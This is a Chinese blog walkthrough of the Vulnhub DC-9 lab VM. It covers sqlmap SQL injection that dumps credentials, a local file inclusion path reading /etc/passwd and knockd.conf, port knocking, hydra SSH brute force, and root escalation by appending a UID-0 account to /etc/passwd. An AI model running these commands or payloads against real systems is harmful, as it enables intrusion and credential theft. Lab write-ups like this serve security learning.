Vulnhub靶場 | DC系列 | DC-9

leyilea發表於2024-07-13

DC-9

目錄

  • 環境搭建
  • 滲透測試
    • 埠敲門服務

環境搭建

  1. 靶機映象下載地址:https://vulnhub.com/entry/dc-6,315/
  2. 需要將靶機和 kali 攻擊機放在同一個區域網裡;
  3. 本實驗kali 的 IP 地址:192.168.10.146。

滲透測試

使用 nmap 掃描 192.168.10.0/24 網段存活主機

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

經判斷,目標主機IP地址為192.168.10.155。

掃描開放的服務。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.155

注意:這裡的22埠顯示的是filtered。

分析下網站

這裡是一些使用者的資訊

這裡可以使用name搜尋相關的資訊

這裡可以登入。嘗試sql注入,不行。還有一個思路,前面有各種使用者的資訊,可以嘗試組成社工字典進行爆破(這個放到沒有利用點的時候再嘗試)

經測試,搜尋頁是存在sql注入的。

直接上sqlmap吧~

因為是post注入,所以先使用BurpSuite抓取一下資料包。

將請求內容放入到dc9檔案中之後執行sqlmap

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch --current-db
current database: 'Staff'

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users        |
+--------------+

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff -T Users --columns
Database: Staff
Table: Users
[3 columns]
+----------+-----------------+
| Column   | Type            |
+----------+-----------------+
| Password | varchar(255)    |
| UserID   | int(6) unsigned |
| Username | varchar(255)    |
+----------+-----------------+

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D Staff -T Users -C Username,Password --dump
Database: Staff
Table: Users
[1 entry]
+----------+--------------------------------------------------+
| Username | Password                                         |
+----------+--------------------------------------------------+
| admin    | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1) |
+----------+--------------------------------------------------+

使用admin:transorbital1 登入成功。

這個頁面下面提示“File does not exist”,猜測這裡存在檔案包含。

猜測引數為file,讀取下passwd檔案試試:

http://192.168.10.155/manage.php?file=../../../../etc/passwd

讀取成功,這裡存在本地檔案包含。

嘗試了下遠端檔案包含,不行~

埠敲門服務

knockd配置位置/etc/knockd.conf。

http://192.168.10.155/manage.php?file=../../../../etc/knockd.conf

敲門順序 sequence = 7469,8475,9842。

安裝knock工具,對獲取的埠(開門密碼)實現碰撞,可以看到成功開啟了ssh埠:

apt install knockd
knock 192.168.10.155 7469 8475 9842

或者使用nc進行依次連線也可

┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 7469 
                                                                                        
┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 8475 
                                                                                        
┌──(root💀kali)-[~/桌面]
└─# nc 192.168.10.155 9842 

再次進行掃描,會發現22埠是open狀態。

使用sql注入漏洞獲取users庫中的UserDetails表中的資料

┌──(root💀kali)-[~/桌面]
└─# sqlmap -r ./dc9 -p search --batch -D users -T UserDetails -C username,password --dump

將username 列放入username.txt中,password放入到password.txt中。

┌──(root💀kali)-[~/桌面]
└─# cat a.txt  

┌──(root💀kali)-[~/桌面]
└─# awk -F "|" '{print $2}' a.txt > username.txt 
                                                                                        
┌──(root💀kali)-[~/桌面]
└─# awk -F "|" '{print $3}' a.txt > password.txt

去除一下前後的空格。

┌──(root💀kali)-[~/桌面]
└─# vim username.txt 
:%s/ //g
%是整個緩衝資料,即整個文字
s/查詢的字元/替換的字元/
g是全部替換

對ssh服務進行密碼爆破。

┌──(root💀kali)-[~/桌面]
└─# hydra -L username.txt -P password.txt 192.168.10.155 ssh

[DATA] attacking ssh://192.168.10.155:22/
[22][ssh] host: 192.168.10.155   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.10.155   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.10.155   login: janitor   password: Ilovepeepee

使用三個使用者登入,進行資訊收集。在janitor的家目錄下發現隱藏目錄,其中的檔案是一個密碼檔案。

janitor@dc-9:~$ ls -a
.  ..  .bash_history  .gnupg  .secrets-for-putin
janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

把密碼放入剛才的密碼檔案中,再次爆破一下。

多了一個賬號:登入一下

login: fredf   password: B4-Tru3-001
┌──(root💀kali)-[~/桌面]
└─# ssh fredf@192.168.10.155

fredf@dc-9:~$ 

檢視sudo授權,有一個授權~

執行以下該指令碼,sudo /opt/devstuff/dist/test/test

提示 python test.py。

/opt/devstuff/中找到了test.py檔案,檢視檔案內容。

分析含義:需要三個引數,如果不是3則輸出“Usage:...”,滿足3個引數,則第2個引數的檔案內容寫入到第3個引數的檔案中。

思路:

  • 1、首先/opt/devstuff/dist/test/test可以以root身份執行
  • 2、構造有root許可權的賬戶放入到/etc/passwd中
  • 3、以該使用者登入系統

使用openssl passwd 生成密碼

┌──(root💀kali)-[~/桌面]
└─# openssl passwd 123456
bwfgXppOVV0PI

編寫a.txt檔案

fredf@dc-9:~$ vi a.txt 
hackerx:bwfgXppOVV0PI:0:0::/root:/bin/bash

將a.txt檔案寫入到/etc/passwd檔案中

fredf@dc-9:~$ sudo /opt/devstuff/dist/test/test a.txt /etc/passwd

切換到新新增的hackerx使用者

拿到flag

參考連結:

  • https://blog.csdn.net/qq_61237064/article/details/123772725
  • https://blog.csdn.net/Aluxian _/article/details/124240789
  • https://zhuanlan.zhihu.com/p/59488488
  • https://blog.csdn.net/weixin_46706771/article/details/119880428
  • https://blog.csdn.net/qq_41631806/article/details/105361868

相關文章